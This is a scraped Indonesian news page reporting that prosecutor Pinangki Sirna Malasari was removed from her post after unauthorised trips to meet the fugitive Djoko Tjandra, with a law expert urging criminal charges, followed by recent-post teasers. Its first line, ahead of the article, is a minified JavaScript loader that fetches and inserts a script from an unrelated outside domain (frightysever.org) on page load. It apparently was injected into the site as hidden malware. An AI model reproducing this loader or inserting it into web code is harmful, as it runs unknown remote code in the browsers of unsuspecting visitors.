(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Pakar Hukum Pidana Minta Jaksa Pinangki Juga Dituntut Sampai Pengadilan Â


KANALKALIMANTAN.COM, JAKARTA – Wakil Jaksa Agung Setia Untung Arimuladi telah mencopot jabatan Jaksa Pinangki Sirna Malasari karena terbukti melanggar disiplin dan kode etik menyusul beredarnya foto Pinangki dengan buronan Djoko Tjandra.

Hukuman tersebut dijatuhkan berdasarkan Surat Keputusan No. KEP-IV-041/B/WJA/07/2020 tentang Penjatuhan Hukuman Disiplin (PHD) Tingkat Berat berupa Pembebasan dari Jabatan Struktural.

Pakar hukum pidana Universitas Trisakti Abdul Fickar Hadjar menilai, kasus tersebut tak cukup hanya sanksi pelanggaran disiplin dan kode etik. Namun harus diproses secara hukum pidana.

“Jika benar terbukti ada kolusi dalam konteks PK (Peninjauan Kembali perkara hukum Djoko Tjancdra), maka semestinya juga dibawa ke ranah pidana,” kata Abdul Fickar kepada Suara.com, Kamis (30/7/2020).

 

Selain itu, Fickar juga mengamati beredarnya foto pengacara Anita Kolopaking bersilaturahmi dengan Ketua Mahkamah Agung. Meski memang foto tersebut tidak bisa disimpulkan sebagai upaya lobi upaya PK Djoko Tjandra.

Namun fakta masuknya buronan koruptor kelas kakap dengan mudah dan bebas masuk ke Indonesia mengajukan upaya PK terkesan sudah disiapkan, ada upaya prakondisi. Sehingga ia dapat melakukan dan mengurus upaya hukum dengan lancar.

Baca juga: Terungkap! Jaksa Pinangki 9 Kali Ketemu Djoko Tjandra di Luar Negeri  

“Itu adalah indikasi adanya ‘mafia’ yang tersebar disemua sektor birokrasi pemerintahan dan penegakan hukum, mulai Imigrasi, Kelurahan, Pengadilan dan Kepolisian bahkan Kejaksaan,” ujarnya.

“Ini juga sebuah penghinaan tidak hanya terhadap sistem penegakan hukum, tetapi juga sistem berbangsa dan bernegara” Fickar menambahkan.

Oleh karena itu, kata Fickar, semua pihak yang terlibat membantu buronan Djoko Tjandra melakukan upaya PK dengan bebas melenggang masuk Indonesia harus dituntut secara pidana.

“Intinya semua pihak yang terlibat harus dibawa ke pengadilan,” tegasnya.

Baca juga: Besek Purun Ramah Lingkungan, Pengrajin Kebanjiran Order Jelang Idul Kurban

Sebelumnya, Wakil Jaksa Agung telah memutuskan penjatuhan hukuman disiplin tingkat berat berupa pembebasan dari jabatan struktural atau di-nonjob-kan Jaksa Pinangki.

Kepala Pusat Penerangan Hukum Kejaksaan Agung Hari Setiyono di Kantor Kejaksaan Agung mengatakan, penjatuhan hukuman dilakukan berdasarkan hasil pemeriksaan terhadap Pinangki. Pinangki menjabat sebagai Kepala Subbagian Pemantauan dan Evaluasi II pada Biro Perencanaan Jaksa Agung Muda Pembinaan.

Dari hasil klarifikasi Bidang Pengawasan Kejaksaan Agung terhadap Pinangki diketahui bahwa Pinangki telah melakukan perjalanan ke luar negeri tanpa izin pimpinan sebanyak 9 kali serta bertemu dengan diduga Djoko Tjandra.

“Antara lain ke Singapura dan Malaysia, dia berangkat sendiri dan pengakuannya biaya sendiri. Bertemu dengan (Djoko Tjandra dan Anita Kolopaking) sebagaimana yang ada di dalam foto (beredar di media sosial),” kata Hari di Kejaksaan Agung, Rabu malam.

Pinangki pun dianggap telah melanggar ketentuan yang terdapat dalam Surat Edaran Jaksa Agung No. 018/JA/11/1982 tentang Kesederhanaan Hidup, Surat Edaran Jaksa Agung Pembinaan No. B-1181/B/BS/07/1987 tentang Petunjuk Pelaksanaan untuk Mendapatkan Izin Bepergian ke Luar Negeri dan Surat Jaksa Agung Muda Intelijen No. B-012/D.1/01/1987 tentang Daftar Isian Clearance.

Pinangki juga melanggar PP No. 53/2010 tentang Disiplin Pegawai Negeri Sipil dan Peraturan Jaksa Agung Republik Indonesia No. PER-067/A/JA/07/2007 tentang Kode Perilaku Jaksa. (suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.